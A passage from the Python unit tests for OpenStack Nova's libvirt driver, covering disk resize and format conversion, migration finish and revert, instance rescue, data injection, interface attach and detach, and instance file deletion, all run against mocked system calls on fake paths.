'/dev/sda1', 'source_type': 'volume', 'destination_type': 'volume', 'device_type': 'disk', 'volume_id': 1, 'guest_format': None, 'boot_index': 1, 'volume_size': 6 }, { 'device_name': '/dev/sda2', 'source_type': 'snapshot', 'destination_type': 'volume', 'snapshot_id': 1, 'device_type': 'disk', 'guest_format': None, 'boot_index': 0, 'volume_size': 4 }, { 'device_name': '/dev/sda3', 'source_type': 'blank', 'destination_type': 'local', 'device_type': 'disk', 'guest_format': None, 'boot_index': -1, 'volume_size': 3 } ] mock_get.return_value = mappings instance = self._create_instance() # Old flavor, eph is 20, real disk is 3, target is 2, fail flavor = {'root_gb': 10, 'ephemeral_gb': 2} flavor_obj = objects.Flavor(**flavor) mock_get_disk_info.return_value = self._disk_info() self.assertRaises( exception.InstanceFaultRollback, self.drvr.migrate_disk_and_power_off, 'ctx', instance, '10.0.0.1', flavor_obj, None) # Old flavor, eph is 20, real disk is 3, target is 4 flavor = {'root_gb': 10, 'ephemeral_gb': 4} flavor_obj = objects.Flavor(**flavor) self._test_migrate_disk_and_power_off(flavor_obj) def test_wait_for_running(self): def fake_get_info(instance): if instance['name'] == "not_found": raise exception.InstanceNotFound(instance_id=instance['uuid']) elif instance['name'] == "running": return hardware.InstanceInfo(state=power_state.RUNNING) else: return hardware.InstanceInfo(state=power_state.SHUTDOWN) self.stubs.Set(self.drvr, 'get_info', fake_get_info) # instance not found case self.assertRaises(exception.InstanceNotFound, self.drvr._wait_for_running, {'name': 'not_found', 'uuid': 'not_found_uuid'}) # instance is running case self.assertRaises(loopingcall.LoopingCallDone, self.drvr._wait_for_running, {'name': 'running', 'uuid': 'running_uuid'}) # else case self.drvr._wait_for_running({'name': 'else', 'uuid': 'other_uuid'}) def test_disk_size_from_instance_disk_info(self): instance_data = {'root_gb': 10, 'ephemeral_gb': 20, 'swap_gb': 30} inst = objects.Instance(**instance_data) info = {'path': '/path/disk'} self.assertEqual(10 * units.Gi, self.drvr._disk_size_from_instance(inst, info)) info = {'path': '/path/disk.local'} self.assertEqual(20 * units.Gi, self.drvr._disk_size_from_instance(inst, info)) info = {'path': '/path/disk.swap'} self.assertEqual(0, self.drvr._disk_size_from_instance(inst, info)) @mock.patch('nova.utils.execute') def test_disk_raw_to_qcow2(self, mock_execute): path = '/test/disk' _path_qcow = path + '_qcow' self.drvr._disk_raw_to_qcow2(path) mock_execute.assert_has_calls([ mock.call('qemu-img', 'convert', '-f', 'raw', '-O', 'qcow2', path, _path_qcow), mock.call('mv', _path_qcow, path)]) @mock.patch('nova.utils.execute') def test_disk_qcow2_to_raw(self, mock_execute): path = '/test/disk' _path_raw = path + '_raw' self.drvr._disk_qcow2_to_raw(path) mock_execute.assert_has_calls([ mock.call('qemu-img', 'convert', '-f', 'qcow2', '-O', 'raw', path, _path_raw), mock.call('mv', _path_raw, path)]) @mock.patch('nova.virt.disk.api.extend') def test_disk_resize_raw(self, mock_extend): image = imgmodel.LocalFileImage("/test/disk", imgmodel.FORMAT_RAW) self.drvr._disk_resize(image, 50) mock_extend.assert_called_once_with(image, 50) @mock.patch('nova.virt.disk.api.can_resize_image') @mock.patch('nova.virt.disk.api.is_image_extendable') @mock.patch('nova.virt.disk.api.extend') def test_disk_resize_qcow2( self, mock_extend, mock_can_resize, mock_is_image_extendable): with contextlib.nested( mock.patch.object( self.drvr, '_disk_qcow2_to_raw'), mock.patch.object( self.drvr, '_disk_raw_to_qcow2'))\ as (mock_disk_qcow2_to_raw, mock_disk_raw_to_qcow2): mock_can_resize.return_value = True mock_is_image_extendable.return_value = True imageqcow2 = imgmodel.LocalFileImage("/test/disk", imgmodel.FORMAT_QCOW2) imageraw = imgmodel.LocalFileImage("/test/disk", imgmodel.FORMAT_RAW) self.drvr._disk_resize(imageqcow2, 50) mock_disk_qcow2_to_raw.assert_called_once_with(imageqcow2.path) mock_extend.assert_called_once_with(imageraw, 50) mock_disk_raw_to_qcow2.assert_called_once_with(imageqcow2.path) def _test_finish_migration(self, power_on, resize_instance=False): """Test for nova.virt.libvirt.libvirt_driver.LivirtConnection .finish_migration. """ powered_on = power_on self.fake_create_domain_called = False self.fake_disk_resize_called = False def fake_to_xml(context, instance, network_info, disk_info, image_meta=None, rescue=None, block_device_info=None, write_to_disk=False): return "" def fake_plug_vifs(instance, network_info): pass def fake_create_image(context, inst, disk_mapping, suffix='', disk_images=None, network_info=None, block_device_info=None, inject_files=True, fallback_from_host=None): self.assertFalse(inject_files) def fake_create_domain_and_network( context, xml, instance, network_info, disk_info, block_device_info=None, power_on=True, reboot=False, vifs_already_plugged=False): self.fake_create_domain_called = True self.assertEqual(powered_on, power_on) self.assertTrue(vifs_already_plugged) def fake_enable_hairpin(): pass def fake_execute(*args, **kwargs): pass def fake_get_info(instance): if powered_on: return hardware.InstanceInfo(state=power_state.RUNNING) else: return hardware.InstanceInfo(state=power_state.SHUTDOWN) def fake_disk_resize(image, size): self.fake_disk_resize_called = True self.flags(use_cow_images=True) self.stubs.Set(self.drvr, '_disk_resize', fake_disk_resize) self.stubs.Set(self.drvr, '_get_guest_xml', fake_to_xml) self.stubs.Set(self.drvr, 'plug_vifs', fake_plug_vifs) self.stubs.Set(self.drvr, '_create_image', fake_create_image) self.stubs.Set(self.drvr, '_create_domain_and_network', fake_create_domain_and_network) self.stubs.Set(nova.virt.libvirt.guest.Guest, 'enable_hairpin', fake_enable_hairpin) self.stubs.Set(utils, 'execute', fake_execute) fw = base_firewall.NoopFirewallDriver() self.stubs.Set(self.drvr, 'firewall_driver', fw) self.stubs.Set(self.drvr, 'get_info', fake_get_info) ins_ref = self._create_instance() image_meta = {} migration = objects.Migration() migration.source_compute = 'fake-source-compute' migration.dest_compute = 'fake-dest-compute' migration.source_node = 'fake-source-node' migration.dest_node = 'fake-dest-node' self.drvr.finish_migration( context.get_admin_context(), migration, ins_ref, self._disk_info(), [], image_meta, resize_instance, None, power_on) self.assertTrue(self.fake_create_domain_called) self.assertEqual( resize_instance, self.fake_disk_resize_called) def test_finish_migration_resize(self): self._test_finish_migration(True, resize_instance=True) def test_finish_migration_power_on(self): self._test_finish_migration(True) def test_finish_migration_power_off(self): self._test_finish_migration(False) def _test_finish_revert_migration(self, power_on): """Test for nova.virt.libvirt.libvirt_driver.LivirtConnection .finish_revert_migration. """ powered_on = power_on self.fake_create_domain_called = False def fake_execute(*args, **kwargs): pass def fake_plug_vifs(instance, network_info): pass def fake_create_domain(context, xml, instance, network_info, disk_info, block_device_info=None, power_on=None, vifs_already_plugged=None): self.fake_create_domain_called = True self.assertEqual(powered_on, power_on) self.assertTrue(vifs_already_plugged) return mock.MagicMock() def fake_enable_hairpin(): pass def fake_get_info(instance): if powered_on: return hardware.InstanceInfo(state=power_state.RUNNING) else: return hardware.InstanceInfo(state=power_state.SHUTDOWN) def fake_to_xml(context, instance, network_info, disk_info, image_meta=None, rescue=None, block_device_info=None): return "" self.stubs.Set(self.drvr, '_get_guest_xml', fake_to_xml) self.stubs.Set(self.drvr, 'plug_vifs', fake_plug_vifs) self.stubs.Set(utils, 'execute', fake_execute) fw = base_firewall.NoopFirewallDriver() self.stubs.Set(self.drvr, 'firewall_driver', fw) self.stubs.Set(self.drvr, '_create_domain_and_network', fake_create_domain) self.stubs.Set(nova.virt.libvirt.guest.Guest, 'enable_hairpin', fake_enable_hairpin) self.stubs.Set(self.drvr, 'get_info', fake_get_info) self.stubs.Set(utils, 'get_image_from_system_metadata', lambda *a: {}) with utils.tempdir() as tmpdir: self.flags(instances_path=tmpdir) ins_ref = self._create_instance() os.mkdir(os.path.join(tmpdir, ins_ref['name'])) libvirt_xml_path = os.path.join(tmpdir, ins_ref['name'], 'libvirt.xml') f = open(libvirt_xml_path, 'w') f.close() self.drvr.finish_revert_migration( context.get_admin_context(), ins_ref, [], None, power_on) self.assertTrue(self.fake_create_domain_called) def test_finish_revert_migration_power_on(self): self._test_finish_revert_migration(True) def test_finish_revert_migration_power_off(self): self._test_finish_revert_migration(False) def _test_finish_revert_migration_after_crash(self, backup_made=True, del_inst_failed=False): class FakeLoopingCall(object): def start(self, *a, **k): return self def wait(self): return None context = 'fake_context' instance = self._create_instance() self.mox.StubOutWithMock(libvirt_utils, 'get_instance_path') self.mox.StubOutWithMock(os.path, 'exists') self.mox.StubOutWithMock(shutil, 'rmtree') self.mox.StubOutWithMock(utils, 'execute') self.stubs.Set(blockinfo, 'get_disk_info', lambda *a: None) self.stubs.Set(self.drvr, '_get_guest_xml', lambda *a, **k: None) self.stubs.Set(self.drvr, '_create_domain_and_network', lambda *a, **kw: None) self.stubs.Set(loopingcall, 'FixedIntervalLoopingCall', lambda *a, **k: FakeLoopingCall()) libvirt_utils.get_instance_path(instance).AndReturn('/fake/foo') os.path.exists('/fake/foo_resize').AndReturn(backup_made) if backup_made: if del_inst_failed: os_error = OSError(errno.ENOENT, 'No such file or directory') shutil.rmtree('/fake/foo').AndRaise(os_error) else: shutil.rmtree('/fake/foo') utils.execute('mv', '/fake/foo_resize', '/fake/foo') self.mox.ReplayAll() self.drvr.finish_revert_migration(context, instance, []) def test_finish_revert_migration_after_crash(self): self._test_finish_revert_migration_after_crash(backup_made=True) def test_finish_revert_migration_after_crash_before_new(self): self._test_finish_revert_migration_after_crash(backup_made=True) def test_finish_revert_migration_after_crash_before_backup(self): self._test_finish_revert_migration_after_crash(backup_made=False) def test_finish_revert_migration_after_crash_delete_failed(self): self._test_finish_revert_migration_after_crash(backup_made=True, del_inst_failed=True) def test_finish_revert_migration_preserves_disk_bus(self): def fake_get_guest_xml(context, instance, network_info, disk_info, image_meta, block_device_info=None): self.assertEqual('ide', disk_info['disk_bus']) image_meta = {"properties": {"hw_disk_bus": "ide"}} instance = self._create_instance() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with contextlib.nested( mock.patch.object(drvr, '_create_domain_and_network'), mock.patch.object(utils, 'get_image_from_system_metadata', return_value=image_meta), mock.patch.object(drvr, '_get_guest_xml', side_effect=fake_get_guest_xml)): drvr.finish_revert_migration('', instance, None, power_on=False) def test_cleanup_failed_migration(self): self.mox.StubOutWithMock(shutil, 'rmtree') shutil.rmtree('/fake/inst') self.mox.ReplayAll() self.drvr._cleanup_failed_migration('/fake/inst') def test_confirm_migration(self): ins_ref = self._create_instance() self.mox.StubOutWithMock(self.drvr, "_cleanup_resize") self.drvr._cleanup_resize(ins_ref, _fake_network_info(self.stubs, 1)) self.mox.ReplayAll() self.drvr.confirm_migration("migration_ref", ins_ref, _fake_network_info(self.stubs, 1)) def test_cleanup_resize_same_host(self): CONF.set_override('policy_dirs', []) ins_ref = self._create_instance({'host': CONF.host}) def fake_os_path_exists(path): return True self.stubs.Set(os.path, 'exists', fake_os_path_exists) self.mox.StubOutWithMock(libvirt_utils, 'get_instance_path') self.mox.StubOutWithMock(utils, 'execute') libvirt_utils.get_instance_path(ins_ref, forceold=True).AndReturn('/fake/inst') utils.execute('rm', '-rf', '/fake/inst_resize', delay_on_retry=True, attempts=5) self.mox.ReplayAll() self.drvr._cleanup_resize(ins_ref, _fake_network_info(self.stubs, 1)) def test_cleanup_resize_not_same_host(self): CONF.set_override('policy_dirs', []) host = 'not' + CONF.host ins_ref = self._create_instance({'host': host}) def fake_os_path_exists(path): return True def fake_undefine_domain(instance): pass def fake_unplug_vifs(instance, network_info, ignore_errors=False): pass def fake_unfilter_instance(instance, network_info): pass self.stubs.Set(os.path, 'exists', fake_os_path_exists) self.stubs.Set(self.drvr, '_undefine_domain', fake_undefine_domain) self.stubs.Set(self.drvr, 'unplug_vifs', fake_unplug_vifs) self.stubs.Set(self.drvr.firewall_driver, 'unfilter_instance', fake_unfilter_instance) self.mox.StubOutWithMock(libvirt_utils, 'get_instance_path') self.mox.StubOutWithMock(utils, 'execute') libvirt_utils.get_instance_path(ins_ref, forceold=True).AndReturn('/fake/inst') utils.execute('rm', '-rf', '/fake/inst_resize', delay_on_retry=True, attempts=5) self.mox.ReplayAll() self.drvr._cleanup_resize(ins_ref, _fake_network_info(self.stubs, 1)) def test_get_instance_disk_info_exception(self): instance = self._create_instance() class FakeExceptionDomain(FakeVirtDomain): def __init__(self): super(FakeExceptionDomain, self).__init__() def XMLDesc(self, flags): raise fakelibvirt.libvirtError("Libvirt error") def fake_get_domain(self, instance): return FakeExceptionDomain() self.stubs.Set(host.Host, 'get_domain', fake_get_domain) self.assertRaises(exception.InstanceNotFound, self.drvr.get_instance_disk_info, instance) @mock.patch('os.path.exists') @mock.patch.object(lvm, 'list_volumes') def test_lvm_disks(self, listlvs, exists): instance = objects.Instance(uuid='fake-uuid', id=1) self.flags(images_volume_group='vols', group='libvirt') exists.return_value = True listlvs.return_value = ['fake-uuid_foo', 'other-uuid_foo'] disks = self.drvr._lvm_disks(instance) self.assertEqual(['/dev/vols/fake-uuid_foo'], disks) def test_is_booted_from_volume(self): func = libvirt_driver.LibvirtDriver._is_booted_from_volume instance, disk_mapping = {}, {} self.assertTrue(func(instance, disk_mapping)) disk_mapping['disk'] = 'map' self.assertTrue(func(instance, disk_mapping)) instance['image_ref'] = 'uuid' self.assertFalse(func(instance, disk_mapping)) @mock.patch('nova.virt.netutils.get_injected_network_template') @mock.patch('nova.virt.disk.api.inject_data') @mock.patch.object(libvirt_driver.LibvirtDriver, "_conn") def _test_inject_data(self, driver_params, path, disk_params, mock_conn, disk_inject_data, inj_network, called=True): class ImageBackend(object): path = '/path' def check_image_exists(self): if self.path == '/fail/path': return False return True def get_model(self, connection): return imgmodel.LocalFileImage(self.path, imgmodel.FORMAT_RAW) def fake_inj_network(*args, **kwds): return args[0] or None inj_network.side_effect = fake_inj_network image_backend = ImageBackend() image_backend.path = path with mock.patch.object( self.drvr.image_backend, 'image', return_value=image_backend): self.flags(inject_partition=0, group='libvirt') self.drvr._inject_data(**driver_params) if called: disk_inject_data.assert_called_once_with( mock.ANY, *disk_params, partition=None, mandatory=('files',)) self.assertEqual(disk_inject_data.called, called) def _test_inject_data_default_driver_params(self, **params): return { 'instance': self._create_instance(params=params), 'network_info': None, 'admin_pass': None, 'files': None, 'suffix': '' } def test_inject_data_adminpass(self): self.flags(inject_password=True, group='libvirt') driver_params = self._test_inject_data_default_driver_params() driver_params['admin_pass'] = 'foobar' disk_params = [ None, # key None, # net {}, # metadata 'foobar', # admin_pass None, # files ] self._test_inject_data(driver_params, "/path", disk_params) # Test with the configuration setted to false. self.flags(inject_password=False, group='libvirt') self._test_inject_data(driver_params, "/path", disk_params, called=False) def test_inject_data_key(self): driver_params = self._test_inject_data_default_driver_params() driver_params['instance']['key_data'] = 'key-content' self.flags(inject_key=True, group='libvirt') disk_params = [ 'key-content', # key None, # net {}, # metadata None, # admin_pass None, # files ] self._test_inject_data(driver_params, "/path", disk_params) # Test with the configuration setted to false. self.flags(inject_key=False, group='libvirt') self._test_inject_data(driver_params, "/path", disk_params, called=False) def test_inject_data_metadata(self): instance_metadata = {'metadata': {'data': 'foo'}} driver_params = self._test_inject_data_default_driver_params( **instance_metadata ) disk_params = [ None, # key None, # net {'data': 'foo'}, # metadata None, # admin_pass None, # files ] self._test_inject_data(driver_params, "/path", disk_params) def test_inject_data_files(self): driver_params = self._test_inject_data_default_driver_params() driver_params['files'] = ['file1', 'file2'] disk_params = [ None, # key None, # net {}, # metadata None, # admin_pass ['file1', 'file2'], # files ] self._test_inject_data(driver_params, "/path", disk_params) def test_inject_data_net(self): driver_params = self._test_inject_data_default_driver_params() driver_params['network_info'] = {'net': 'eno1'} disk_params = [ None, # key {'net': 'eno1'}, # net {}, # metadata None, # admin_pass None, # files ] self._test_inject_data(driver_params, "/path", disk_params) def test_inject_not_exist_image(self): driver_params = self._test_inject_data_default_driver_params() disk_params = [ 'key-content', # key None, # net None, # metadata None, # admin_pass None, # files ] self._test_inject_data(driver_params, "/fail/path", disk_params, called=False) def _test_attach_detach_interface(self, method, power_state, expected_flags): instance = self._create_instance() network_info = _fake_network_info(self.stubs, 1) domain = FakeVirtDomain() self.mox.StubOutWithMock(host.Host, 'get_domain') self.mox.StubOutWithMock(self.drvr.firewall_driver, 'setup_basic_filtering') self.mox.StubOutWithMock(domain, 'attachDeviceFlags') self.mox.StubOutWithMock(domain, 'info') host.Host.get_domain(instance).AndReturn(domain) if method == 'attach_interface': self.drvr.firewall_driver.setup_basic_filtering( instance, [network_info[0]]) if method == 'attach_interface': fake_image_meta = {'id': instance.image_ref} elif method == 'detach_interface': fake_image_meta = None expected = self.drvr.vif_driver.get_config( instance, network_info[0], fake_image_meta, instance.flavor, CONF.libvirt.virt_type) self.mox.StubOutWithMock(self.drvr.vif_driver, 'get_config') self.drvr.vif_driver.get_config( instance, network_info[0], fake_image_meta, mox.IsA(objects.Flavor), CONF.libvirt.virt_type).AndReturn(expected) domain.info().AndReturn([power_state]) if method == 'attach_interface': domain.attachDeviceFlags(expected.to_xml(), flags=expected_flags) elif method == 'detach_interface': domain.detachDeviceFlags(expected.to_xml(), expected_flags) self.mox.ReplayAll() if method == 'attach_interface': self.drvr.attach_interface( instance, fake_image_meta, network_info[0]) elif method == 'detach_interface': self.drvr.detach_interface( instance, network_info[0]) self.mox.VerifyAll() def test_attach_interface_with_running_instance(self): self._test_attach_detach_interface( 'attach_interface', power_state.RUNNING, expected_flags=(fakelibvirt.VIR_DOMAIN_AFFECT_CONFIG | fakelibvirt.VIR_DOMAIN_AFFECT_LIVE)) def test_attach_interface_with_pause_instance(self): self._test_attach_detach_interface( 'attach_interface', power_state.PAUSED, expected_flags=(fakelibvirt.VIR_DOMAIN_AFFECT_CONFIG | fakelibvirt.VIR_DOMAIN_AFFECT_LIVE)) def test_attach_interface_with_shutdown_instance(self): self._test_attach_detach_interface( 'attach_interface', power_state.SHUTDOWN, expected_flags=(fakelibvirt.VIR_DOMAIN_AFFECT_CONFIG)) def test_detach_interface_with_running_instance(self): self._test_attach_detach_interface( 'detach_interface', power_state.RUNNING, expected_flags=(fakelibvirt.VIR_DOMAIN_AFFECT_CONFIG | fakelibvirt.VIR_DOMAIN_AFFECT_LIVE)) def test_detach_interface_with_pause_instance(self): self._test_attach_detach_interface( 'detach_interface', power_state.PAUSED, expected_flags=(fakelibvirt.VIR_DOMAIN_AFFECT_CONFIG | fakelibvirt.VIR_DOMAIN_AFFECT_LIVE)) def test_detach_interface_with_shutdown_instance(self): self._test_attach_detach_interface( 'detach_interface', power_state.SHUTDOWN, expected_flags=(fakelibvirt.VIR_DOMAIN_AFFECT_CONFIG)) def test_rescue(self): instance = self._create_instance({'config_drive': None}) dummyxml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices>" "<disk type='file'><driver name='qemu' type='raw'/>" "<source file='/test/disk'/>" "<target dev='vda' bus='virtio'/></disk>" "<disk type='file'><driver name='qemu' type='qcow2'/>" "<source file='/test/disk.local'/>" "<target dev='vdb' bus='virtio'/></disk>" "</devices></domain>") network_info = _fake_network_info(self.stubs, 1) self.mox.StubOutWithMock(self.drvr, '_get_existing_domain_xml') self.mox.StubOutWithMock(libvirt_utils, 'write_to_file') self.mox.StubOutWithMock(imagebackend.Backend, 'image') self.mox.StubOutWithMock(imagebackend.Image, 'cache') self.mox.StubOutWithMock(self.drvr, '_get_guest_xml') self.mox.StubOutWithMock(self.drvr, '_destroy') self.mox.StubOutWithMock(self.drvr, '_create_domain') self.drvr._get_existing_domain_xml(mox.IgnoreArg(), mox.IgnoreArg()).MultipleTimes().AndReturn(dummyxml) libvirt_utils.write_to_file(mox.IgnoreArg(), mox.IgnoreArg()) libvirt_utils.write_to_file(mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg()) imagebackend.Backend.image(instance, 'kernel.rescue', 'raw' ).AndReturn(fake_imagebackend.Raw()) imagebackend.Backend.image(instance, 'ramdisk.rescue', 'raw' ).AndReturn(fake_imagebackend.Raw()) imagebackend.Backend.image(instance, 'disk.rescue', 'default' ).AndReturn(fake_imagebackend.Raw()) imagebackend.Image.cache(context=mox.IgnoreArg(), fetch_func=mox.IgnoreArg(), filename=mox.IgnoreArg(), image_id=mox.IgnoreArg(), project_id=mox.IgnoreArg(), user_id=mox.IgnoreArg()).MultipleTimes() imagebackend.Image.cache(context=mox.IgnoreArg(), fetch_func=mox.IgnoreArg(), filename=mox.IgnoreArg(), image_id=mox.IgnoreArg(), project_id=mox.IgnoreArg(), size=None, user_id=mox.IgnoreArg()) image_meta = {'id': 'fake', 'name': 'fake'} self.drvr._get_guest_xml(mox.IgnoreArg(), instance, network_info, mox.IgnoreArg(), image_meta, rescue=mox.IgnoreArg(), write_to_disk=mox.IgnoreArg() ).AndReturn(dummyxml) self.drvr._destroy(instance) self.drvr._create_domain(mox.IgnoreArg()) self.mox.ReplayAll() rescue_password = 'fake_password' self.drvr.rescue(self.context, instance, network_info, image_meta, rescue_password) self.mox.VerifyAll() @mock.patch.object(libvirt_utils, 'get_instance_path') @mock.patch.object(libvirt_utils, 'load_file') @mock.patch.object(host.Host, "get_domain") def test_unrescue(self, mock_get_domain, mock_load_file, mock_get_instance_path): dummyxml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices>" "<disk type='block' device='disk'>" "<source dev='/dev/some-vg/some-lv'/>" "<target dev='vda' bus='virtio'/></disk>" "</devices></domain>") mock_get_instance_path.return_value = '/path' instance = objects.Instance(uuid='fake=uuid', id=1) fake_dom = FakeVirtDomain(fake_xml=dummyxml) mock_get_domain.return_value = fake_dom mock_load_file.return_value = "fake_unrescue_xml" unrescue_xml_path = os.path.join('/path', 'unrescue.xml') rescue_file = os.path.join('/path', 'rescue.file') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with contextlib.nested( mock.patch.object(drvr, '_destroy'), mock.patch.object(drvr, '_create_domain'), mock.patch.object(libvirt_utils, 'file_delete'), mock.patch.object(drvr, '_lvm_disks', return_value=['lvm.rescue']), mock.patch.object(lvm, 'remove_volumes'), mock.patch.object(glob, 'iglob', return_value=[rescue_file]) ) as (mock_destroy, mock_create, mock_del, mock_lvm_disks, mock_remove_volumes, mock_glob): drvr.unrescue(instance, None) mock_destroy.assert_called_once_with(instance) mock_create.assert_called_once_with("fake_unrescue_xml", fake_dom) self.assertEqual(2, mock_del.call_count) self.assertEqual(unrescue_xml_path, mock_del.call_args_list[0][0][0]) self.assertEqual(rescue_file, mock_del.call_args_list[1][0][0]) mock_remove_volumes.assert_called_once_with(['lvm.rescue']) @mock.patch( 'nova.virt.configdrive.ConfigDriveBuilder.add_instance_metadata') @mock.patch('nova.virt.configdrive.ConfigDriveBuilder.make_drive') def test_rescue_config_drive(self, mock_make, mock_add): instance = self._create_instance() uuid = instance.uuid configdrive_path = uuid + '/disk.config.rescue' dummyxml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices>" "<disk type='file'><driver name='qemu' type='raw'/>" "<source file='/test/disk'/>" "<target dev='vda' bus='virtio'/></disk>" "<disk type='file'><driver name='qemu' type='qcow2'/>" "<source file='/test/disk.local'/>" "<target dev='vdb' bus='virtio'/></disk>" "</devices></domain>") network_info = _fake_network_info(self.stubs, 1) self.mox.StubOutWithMock(self.drvr, '_get_existing_domain_xml') self.mox.StubOutWithMock(libvirt_utils, 'write_to_file') self.mox.StubOutWithMock(imagebackend.Backend, 'image') self.mox.StubOutWithMock(imagebackend.Image, 'cache') self.mox.StubOutWithMock(instance_metadata.InstanceMetadata, '__init__') self.mox.StubOutWithMock(self.drvr, '_get_guest_xml') self.mox.StubOutWithMock(self.drvr, '_destroy') self.mox.StubOutWithMock(self.drvr, '_create_domain') self.drvr._get_existing_domain_xml(mox.IgnoreArg(), mox.IgnoreArg()).MultipleTimes().AndReturn(dummyxml) libvirt_utils.write_to_file(mox.IgnoreArg(), mox.IgnoreArg()) libvirt_utils.write_to_file(mox.IgnoreArg(), mox.IgnoreArg(), mox.IgnoreArg()) imagebackend.Backend.image(instance, 'kernel.rescue', 'raw' ).AndReturn(fake_imagebackend.Raw()) imagebackend.Backend.image(instance, 'ramdisk.rescue', 'raw' ).AndReturn(fake_imagebackend.Raw()) imagebackend.Backend.image(instance, 'disk.rescue', 'default' ).AndReturn(fake_imagebackend.Raw()) imagebackend.Image.cache(context=mox.IgnoreArg(), fetch_func=mox.IgnoreArg(), filename=mox.IgnoreArg(), image_id=mox.IgnoreArg(), project_id=mox.IgnoreArg(), user_id=mox.IgnoreArg()).MultipleTimes() imagebackend.Image.cache(context=mox.IgnoreArg(), fetch_func=mox.IgnoreArg(), filename=mox.IgnoreArg(), image_id=mox.IgnoreArg(), project_id=mox.IgnoreArg(), size=None, user_id=mox.IgnoreArg()) instance_metadata.InstanceMetadata.__init__(mox.IgnoreArg(), content=mox.IgnoreArg(), extra_md=mox.IgnoreArg(), network_info=mox.IgnoreArg()) image_meta = {'id': 'fake', 'name': 'fake'} self.drvr._get_guest_xml(mox.IgnoreArg(), instance, network_info, mox.IgnoreArg(), image_meta, rescue=mox.IgnoreArg(), write_to_disk=mox.IgnoreArg() ).AndReturn(dummyxml) self.drvr._destroy(instance) self.drvr._create_domain(mox.IgnoreArg()) self.mox.ReplayAll() rescue_password = 'fake_password' self.drvr.rescue(self.context, instance, network_info, image_meta, rescue_password) self.mox.VerifyAll() mock_add.assert_any_call(mock.ANY) expected_call = [mock.call(os.path.join(CONF.instances_path, configdrive_path))] mock_make.assert_has_calls(expected_call) @mock.patch('shutil.rmtree') @mock.patch('nova.utils.execute') @mock.patch('os.path.exists') @mock.patch('nova.virt.libvirt.utils.get_instance_path') def test_delete_instance_files(self, get_instance_path, exists, exe, shutil): get_instance_path.return_value = '/path' instance = objects.Instance(uuid='fake-uuid', id=1) exists.side_effect = [False, False, True, False] result = self.drvr.delete_instance_files(instance) get_instance_path.assert_called_with(instance) exe.assert_called_with('mv', '/path', '/path_del') shutil.assert_called_with('/path_del') self.assertTrue(result) @mock.patch('shutil.rmtree') @mock.patch('nova.utils.execute') @mock.patch('os.path.exists') @mock.patch('os.kill') @mock.patch('nova.virt.libvirt.utils.get_instance_path') def test_delete_instance_files_kill_running( self, get_instance_path, kill, exists, exe, shutil): get_instance_path.return_value = '/path' instance = objects.Instance(uuid='fake-uuid', id=1) self.drvr.job_tracker.jobs[instance.uuid] = [3, 4] exists.side_effect = [False, False, True, False] result = self.drvr.delete_instance_files(instance) get_instance_path.assert_called_with(instance) exe.assert_called_with('mv', '/path', '/path_del') kill.assert_has_calls([mock.call(3, signal.SIGKILL), mock.call(3, 0), mock.call(4, signal.SIGKILL), mock.call(4, 0)]) shutil.assert_called_with('/path_del') self.assertTrue(result) self.assertNotIn(instance.uuid, self.drvr.job_tracker.jobs) @mock.patch('shutil.rmtree') @mock.patch('nova.utils.execute') @mock.patch('os.path.exists') @mock.patch('nova.virt.libvirt.utils.get_instance_path') def test_delete_instance_files_resize(self, get_instance_path, exists, exe, shutil): get_instance_path.return_value = '/path' instance = objects.Instance(uuid='fake-uuid', id=1) nova.utils.execute.side_effect = [Exception(), None] exists.side_effect = [False, False, True, False] result = self.drvr.delete_instance_files(instance) get_instance_path.assert_called_with(instance) expected = [mock.call('mv', '/path', '/path_del'), mock.call('mv', '/path_resize', '/path_del')] self.assertEqual(expected, exe.mock_calls) shutil.assert_called_with('/path_del') self.assertTrue(result) @mock.patch('shutil.rmtree') @mock.patch('nova.utils.execute') @mock.patch('os.path.exists') @mock.patch('nova.virt.libvirt.utils.get_instance_path') def test_delete_instance_files_failed(self, get_instance_path, exists, exe, shutil): get_instance_path.return_value = '/path' instance = objects.Instance(uuid='fake-uuid', id=1) exists.side_effect = [False, False, True, True] result = self.drvr.delete_instance_files(instance) get_instance_path.assert_called_with(instance) exe.assert_called_with('mv', '/path', '/path_del') shutil.assert_called_with('/path_del') self.assertFalse(result) @mock.patch('shutil.rmtree') @mock.patch('nova.utils.execute') @mock.patch('os.path.exists') @mock.patch('nova.virt.libvirt.utils.get_instance_path') def test_delete_instance_files_mv_failed(self, get_instance_path, exists, exe, shutil): get_instance_path.return_value = '/path' instance = objects.Instance(uuid='fake-uuid', id=1) nova.utils.execute.side_effect = Exception() exists.side_effect = [True, True] result = self.drvr.delete_instance_files(instance) get_instance_path.assert_called_with(instance) expected = [mock.call('mv', '/path', '/path_del'), mock.call('mv', '/path_resize', '/path_del')] * 2 self.assertEqual(expected, exe.mock_calls) self.assertFalse(result) @mock.patch('shutil.rmtree') @mock.patch('nova.utils.execute') @mock.patch('os.path.exists') @mock.patch('nova.virt.libvirt.utils.get_instance_path') def test_delete_instance_files_resume(self, get_instance_path, exists, exe, shutil): get_instance_path.return_value = '/path' instance = objects.Instance(uuid='fake-uuid', id=1) nova.utils.execute.side_effect = Exception() exists.side_effect = [False, False, True, False] result = self.drvr.delete_instance_files(instance) get_instance_path.assert_called_with(instance) expected = [mock.call('mv', '/path', '/path_del'), mock.call('mv', '/path_resize', '/path_del')] * 2 self.assertEqual(expected, exe.mock_calls) self.assertTrue(result) @mock.patch('shutil.rmtree') @mock.patch('nova.utils.execute') @mock.patch('os.path.exists') @mock.patch('nova.virt.libvirt.utils.get_instance_path') def test_delete_instance_files_none(self, get_instance_path, exists, exe, shutil): get_instance_path.return_value = '/path' instance = objects.Instance(uuid='fake-uuid', id=1) nova.utils.execute.side_effect = Exception() exists.side_effect = [False, False, False, False] result = self.drvr.delete_instance_files(instance) get_instance_path.assert_called_with(instance) expected = [mock.call('mv', '/path', '/path_del'), mock.call('mv', '/path_resize', '/path_del')] * 2 self.assertEqual(expected, exe.mock_calls) self.assertEqual(0, len(shutil.mock_calls)) self.assertTrue(result) @mock.patch('shutil.rmtree') @mock.patch('nova.utils.execute') @mock.patch('os.path.exists') @mock.patch('nova.virt.libvirt.utils.get_instance_path') def test_delete_instance_files_concurrent(self, get_instance_path, exists, exe, shutil): get_instance_path.return_value = '/path' instance = 